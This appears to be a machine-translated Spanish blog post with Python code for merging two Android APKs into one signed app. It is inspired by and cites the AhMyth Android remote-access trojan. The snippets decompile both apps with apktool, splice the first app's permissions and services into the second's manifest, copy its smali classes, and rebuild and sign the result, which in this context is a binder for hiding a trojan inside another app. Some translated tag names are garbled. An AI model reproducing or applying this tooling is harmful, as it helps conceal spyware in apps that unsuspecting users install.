
De alguna manera decidí pegar dos archivos apk, pero no hay mucha información sobre cómo hacerlo en Internet. Luego, armado con el troyano Ahmyth para Android (su
fuente ), comenzó un viaje al mundo de pegar apk con sus propias manos. Brevemente sobre esto más ...
Brevemente sobre la esencia del problema:
Hay dos archivos apk (digamos 1.apk y 2.apk). La tarea es crear 3.apk, que pegará apk 1 y 2 (y realizará sus funciones).
En resumen (código python):
Tenemos:
1. Carpeta
apk - para archivos con apk;
2. Carpeta
tmp : para archivos descompilados;
3. Carpeta de
herramientas : con software adicional (como apktool.jar, sign.jar, testkey).
Primero, determinamos la carpeta actual en la que trabajamos y las carpetas donde descompilaremos:
Luego descompilamos los archivos apk en la carpeta tmp:
print " "+pwd+"/apk/1.apk" subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True ) print " "+pwd+"/apk/2.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True )
Después de este paso, tenemos dos carpetas / tmp / 1 y / tmp / 2 con archivos descompilados. ¡Ahora la parte divertida es la
unión de manifiestos !
print " " mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()
Ahora en orden en este código:Encontramos el archivo AndroidManifest.xml en la carpeta / tmp / 1:
mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()
En este archivo encontramos todos los servicios y clases declarados:
service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")]
En la carpeta AndroidManifest.xml / tmp / 1, copie todo de la etiqueta "<usos-permiso" a la etiqueta "<aplicación". Aquí están todos los permisos que necesita el programa:
permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]
Encontramos el archivo AndroidManifest.xml en la carpeta / tmp / 2:
mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read()
Después de eso, necesitamos
combinar todo esto en un solo archivo , para que todo esté en su lugar.
El nuevo manifiesto (new_mainfest2) consta de:
- El comienzo de la aplicación AndroidManifest.xml 2.apk (desde el principio hasta el final de los permisos necesarios);
- Agregamos aquí los permisos de la aplicación 1.apk (permiso1);
- Agregue todo lo que está en AndroidManifest.xml de la aplicación 2.apk desde "<aplicación" a "
Agregue todos los servicios de la aplicación 1.apk (servicio1);
Agregue los restos de la aplicación AndroidManifest.xml 2.apk.
new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
Sobrescribir AndroidManifest.xml en la carpeta / tmp / 2:
Esto completa la compilación de AndroidManifest. Queda por copiar todas las clases de / tmp / 1 a / tmp / 2. Más precisamente,
copiaremos las carpetas
smali (aquí están todas las clases de aplicación) y
desconocidas :
subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2 , shell=True )
Bueno, en conclusión, debe recopilar todo esto en un archivo apk, firme:
print " apk "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True ) print " "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True )
Como resultado de esto, el archivo 3.apk aparece en la carpeta tmp, que es el pegado de los otros dos.
PD En esta realización, cuando se pegan los permisos de dos aplicaciones, no se verifica su comparación y la adición de solo aquellas que no lo son. Puede haber (y habrá) duplicación en la declaración de permisos. Pero en esta etapa, todo funciona con duplicación.
Fuentes:
→
AhMyth-Android-RAT